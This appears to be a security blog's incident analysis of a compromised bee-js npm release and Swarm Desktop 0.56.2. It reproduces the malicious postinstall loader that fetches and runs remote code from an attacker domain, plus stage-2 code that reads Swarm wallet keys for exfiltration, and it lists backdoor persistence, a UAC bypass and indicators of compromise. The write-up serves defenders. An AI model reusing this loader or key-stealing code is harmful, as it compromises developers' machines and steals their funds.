---
title: "Compromised bee-js and Swarm Desktop Steal Swarm Wallet Keys"
description: "Version 13.3.0 of @ethersphere/bee-js, the JavaScript client for Swarm, added a postinstall hook that steals the Swarm node wallet key and installs a remote-access backdoor. Swarm Desktop 0.56.2 shipped the same loader."
url: "https://safedep.io/blog/ethersphere-bee-js-npm-compromise"
author: "Kunal Singh"
published: "2026-11-09"
---

# Compromised bee-js and Swarm Desktop Steal Swarm Wallet Keys

## TL;DR

`@ethersphere/bee-js` is the JavaScript client for the Swarm storage network. Version 13.3.0 runs attacker code on install. A new `postinstall` hook downloads a second stage that steals the Swarm node's wallet key and installs a backdoor. On Linux and macOS, the backdoor is a Go remote shell. On Windows, it is a hidden ScreenConnect client that runs as SYSTEM.

30 minutes later, the attacker put the same malicious code in Swarm Desktop 0.56.2.

The project's own release workflow published 13.3.0 with a valid npm provenance attestation. The project's release bot, `bee-worker`, made the release commit. This points to a compromised bot account or token, not a stolen npm token.

npm removed 13.3.0. The last clean version is **13.2.0**, and `latest` points to it again.

## The malicious commit

`bee-worker` made commit [`de2f74e`](https://github.com/ethersphere/bee-js/commit/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf) at 23:59:54 UTC on 2026-11-08, with the message `chore(upcoming): release 13.3.0` and no signature. No branch contains it. It looks like a normal release bump, but two changes in `package.json` make the attack work:

```diff title="package.json @ de2f74e"
   "files": [
-    "dist"
+    "dist",
+    "scripts"
   ],
   "scripts": {
-    "prepare": "node scripts/generate-version.cjs",
+    "postinstall": "node scripts/generate-version.cjs",
```

With `postinstall`, the script runs on every install. With `scripts` in `files`, the script ships in the package.

## How it reached npm with provenance

The malicious code never went onto a branch. It went to npm through a GitHub release:

1. `bee-worker` made commit `de2f74e`, a `v13.3.0` tag for it and a GitHub release for the tag, all in the same second.
2. The published release started the project's npm workflow, [`publish_npmjs.yaml`](https://github.com/ethersphere/bee-js/blob/4568f7a408435044c0f38e0ec73b4131f7fb1a9b/.github/workflows/publish_npmjs.yaml).
3. The workflow built the commit and published it to npm at 00:09 UTC with provenance. It runs tests only for code pushed to a branch, so it ran none here.

Branch protection did not stop this, because the attacker did not use a branch. Anyone who can create a release in this repository can publish code to npm with provenance.

## Stage 1: the loader

The attacker added 18 lines to the top of the [script](https://github.com/ethersphere/bee-js/blob/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf/scripts/generate-version.cjs):

```js title="scripts/generate-version.cjs @ de2f74e (lines 11-28)"
try {
  const req = require('https').get(
    'https://api.frameworkmetrics.xyz/v1/analytics',
    {
      headers: {
        'User-Agent': process.platform,
        'X-Ethersphere': '1',
      },
      timeout: 3000,
    },
    async res => {
      let body = ''
      for await (const chunk of res) body += chunk
      new Function('require', 'console', 'process', body)(require, console, process);
    },
  )
  req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
```

The hook downloads code and runs it with Node's real `require` and `process`, as the same user as `npm install`.

The `User-Agent` is only the OS name (`linux`, `darwin` or `win32`), so the server can send a different payload for each OS. The `X-Ethersphere: 1` header unlocks the payload. Without it, the server sends a harmless decoy.

The hook ignores all errors and timeouts, so the install never shows a problem. Its comments call the request an "analytics ping".

## Stage 2: wallet key theft and a backdoor

The stage-2 payload is plain JavaScript, with one file for each OS. It does two things.

**It steals the Swarm node's wallet key.** It reads `config.yaml` and `data-dir/keys/swarm.key` from the Swarm Desktop data folder and sends both to `/v1/swarm/report`. `swarm.key` is an encrypted Ethereum keystore, and Swarm Desktop keeps its password in plain text in `config.yaml`. With both files, the attacker has the node's private key and can take the wallet's xDAI and xBZZ, the chequebook funds and the stake.

```js title="stage-2 payload, linux @ 1f3a7afd (lines 62-74)"
function trySwarm() {
  try {
    if (typeof require !== 'function') return;
    var fs = require('fs');
    var path = require('path');
    var base = swarmBase();
    if (!base || !fs.existsSync(base)) return;
    var configPath = path.join(base, 'config.yaml');
    var keyPath = path.join(base, 'data-dir', 'keys', 'swarm.key');
    if (!fs.existsSync(configPath) || !fs.existsSync(keyPath)) return;
    postSwarm(fs.readFileSync(configPath, 'utf8'), fs.readFileSync(keyPath, 'utf8'));
  } catch (e) { /* silent */ }
}
```

The macOS and Windows variants differ only in the base folder:

| OS      | Swarm Desktop data directory                                          |
| ------- | --------------------------------------------------------------------- |
| Linux   | `~/.local/share/Swarm Desktop` (or `$XDG_DATA_HOME/Swarm Desktop`)    |
| macOS   | `~/Library/Application Support/Swarm Desktop`                         |
| Windows | `%LOCALAPPDATA%\Swarm Desktop\Data`                                   |

**It installs a backdoor that survives reboots.**

| OS      | Installs                                                                     | Persistence                                                                             |
| ------- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Linux   | Go implant at `~/.solidity/linux_<arch>`, started by `~/.solidity/.run.py`   | User systemd unit `solidity-langsupport-runner.service` ("Solidity language tooling helper") |
| macOS   | Go implant at `~/.solidity/darwin_<arch>`, quarantine flag cleared with `xattr -c` | LaunchAgent `com.solidity.langsupport.runner`                                     |
| Windows | ConnectWise ScreenConnect client, after a User Account Control (UAC) bypass                         | SYSTEM service `ScreenConnect Client (5cbe79c9c25524df)`                                |

On Linux, each later run repairs the systemd unit if someone changed it.

## Stage 3: the implants

### The evjawbreaker implant on Linux and macOS

The Go implant, `evjawbreaker`, is a remote shell. It connects to a "hub" over TLS without checking the certificate. It runs `sh` in a pseudo-terminal, runs the commands the hub sends and returns the output. If it finds a debugger or a virtual machine, it exits before it connects.

The implant has no built-in server address. It reads the hub address from an Ethereum smart contract, `0xf8a900Db50b3331be6B768bA460BB59f3E40C344`, through public RPC endpoints such as `rpc.ankr.com` and `cloudflare-eth.com`. Defenders have no domain to take down, and the operator can move the hub with one transaction. The disassembly shows the contract address and the getter the implant calls:

```asm title="main.fetchParam1Once, linux_amd64 implant @ 9b73e7cd"
663f87: lea   rdi, [rip + 0xfe4e2]  ; "0xf8a900Db50b3331be6B768bA460BB59f3E40C344"
663f93: lea   r8, [rip + 0xef7ac]  ; "0x02d91518"
663fa0: call  0x65b500  ; evjawbreaker/internal/eth.ethCallWithFallback
663fae: call  0x65be40  ; evjawbreaker/internal/eth.ParseABIString
```

The operator is not new. They deployed the contract on 2026-03-14, and it has pointed to seven hubs since. They set the current hub, `193.57.9.155:4912`, at 23:30 UTC on 8 Nov, 29 minutes before the malicious bee-js commit.

### ScreenConnect on Windows

Windows gets two files. The first, `invoke.ps1`, is an obfuscated PowerShell script that gets admin rights:

- If the user is an administrator, it uses a public UAC bypass, UACME method 39. This method hijacks the .NET profiler of `mmc.exe`, which starts with admin rights.
- If not, it shows the UAC prompt again each time the user cancels it.

With admin rights, the script adds a Defender exclusion, installs `app.msi` silently, then removes the exclusion and its staging files.

The second file, `app.msi`, is a real ScreenConnect 25.4.3 client signed by ConnectWise. The attacker changed only its settings:

- It connects to a relay at `185.232.84.169:8041`.
- It hides its tray icon and its connection banners.
- It starts sessions without asking the user.

```xml title="system.config in app.msi @ 09afa1ff (lines 7-9)"
<setting name="ClientLaunchParametersConstraint" serializeAs="String">
    <value>?h=185.232.84.169&amp;p=8041&amp;k=BgIAAACkAABSU0ExAAgAAAEA…</value>
</setting>
```

It runs as a SYSTEM service, so the attacker gets full remote control. Onidel in the Netherlands hosts both the relay and the current evjawbreaker hub.

The ScreenConnect program files are legitimate, so their hashes are not useful for detection. Detect the relay address, the service instance ID and the configuration file hashes instead.

## Swarm Desktop 0.56.2 is also malicious

At 00:36 UTC, about 30 minutes after bee-js, `bee-worker` published Swarm Desktop v0.56.2 as an "emergency patch release". Its commit, [`2de7270`](https://github.com/ethersphere/swarm-desktop/commit/2de727046706062d38edfbbf8340f32d1eb2bdfb), has no signature and no pull request. It adds the same loader to the app's `main()` function, which calls `/v1/electron` each time the app starts.

The amd64 `.deb` has the loader in its `app.asar` file. The other installers come from the same build and probably contain it too. At 06:58 UTC on 9 Nov, GitHub still showed v0.56.2 as the current release. The Windows auto-updater file had 17 downloads, so existing installs may have updated to it. Swarm Desktop users have the exact wallet files that stage 2 steals.

## Our detection timeline

Our Automated Investigation confirmed it as malicious four minutes after publish, about 70 minutes before npm removed it.

- **00:09 UTC** Published to npm (Observed). The registry monitor recorded the new version.
- **00:10 UTC** Queued for analysis. The new version went into the analysis queue.
- **00:10 UTC** Analysis completed. The threat monitor finished its first scan.
- **00:10 UTC** Flagged as suspicious (Critical). Critical severity, 7 signals.
- **00:13 UTC** Investigation completed (Malicious 0.95). Automated Investigation returned a malicious verdict with 0.95 confidence.
- **00:13 UTC** Verdict proposed: malicious. Automated Investigation proposed a malicious verdict.
- **03:17 UTC** Verdict approved (Approved). Approved after a matching OSV report.

## If you installed either one

- Treat the machine as compromised.
- Move the Swarm node's funds and stake to a new key. Treat the old key as stolen.
- Remove the backdoor: the `~/.solidity/` folder and its systemd unit or LaunchAgent, or the `ScreenConnect Client (5cbe79c9c25524df)` service on Windows.

## Indicators of compromise

### Stage 1: package and files

| Type           | Value                                                              | Notes                                                    |
| -------------- | ------------------------------------------------------------------ | -------------------------------------------------------- |
| npm package    | `@ethersphere/bee-js@13.3.0`                                       | Removed from the registry about 01:24:58 UTC             |
| SHA-256        | `ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f` | `scripts/generate-version.cjs`, the loader (2,510 bytes) |
| SHA-256        | `d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58` | `bee-js-13.3.0.tgz`, third-party report, not verified    |
| Code pattern   | `new Function('require', 'console', 'process', body)`              | Remote code execution in the `postinstall` script        |

### Stage 1: network

| Type        | Value                                              | Notes                                         |
| ----------- | -------------------------------------------------- | --------------------------------------------- |
| URL         | `hxxps://api.frameworkmetrics[.]xyz/v1/analytics`  | Second-stage payload fetched on install       |
| Domain      | `api.frameworkmetrics[.]xyz`                       | Payload host                                  |
| Domain      | `frameworkmetrics[.]xyz`                           | Parent domain of the payload host             |
| HTTP header | `X-Ethersphere: 1`                                 | Sent to the payload host                      |
| HTTP header | `User-Agent: linux`, `darwin` or `win32`           | Bare `process.platform` as the User-Agent     |

### Stage 1: repository and CI

| Type            | Value                                                                       | Notes                                          |
| --------------- | --------------------------------------------------------------------------- | ---------------------------------------------- |
| Git commit      | `de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf`                                  | Unsigned, on no branch, parent `4568f7a`       |
| Git tag         | `v13.3.0` (tag object `f112f36110ef51ae91aa814596621c2eafd99d1b`)           | Annotated tag by `bee-worker`                  |
| GitHub release  | 438613465 (`v13.3.0`)                                                       | Published 00:06:01 UTC, triggered the publish  |
| Actions run     | 42538346313                                                                 | Publish on npm, produced 13.3.0                |
| Actions run     | 42538346336                                                                 | Dispatch to create-swarm-app, not yet assessed |
| GitHub account  | `bee-worker` (ID 70210089)                                                  | Release bot, likely compromised                |

### Stage 2 and stage 3

The CSV has 65 indicators from the payloads, the implants, the C2 contract and the Swarm Desktop release. It leaves out the wallet that funded the operator. That wallet has more than 266,000 transactions, so it is probably an exchange wallet and not attacker infrastructure.

[IoC: bee-js stage 2 and stage 3](https://safedep.io/data/blogs/ethersphere-bee-js-stage2-3-iocs.csv)
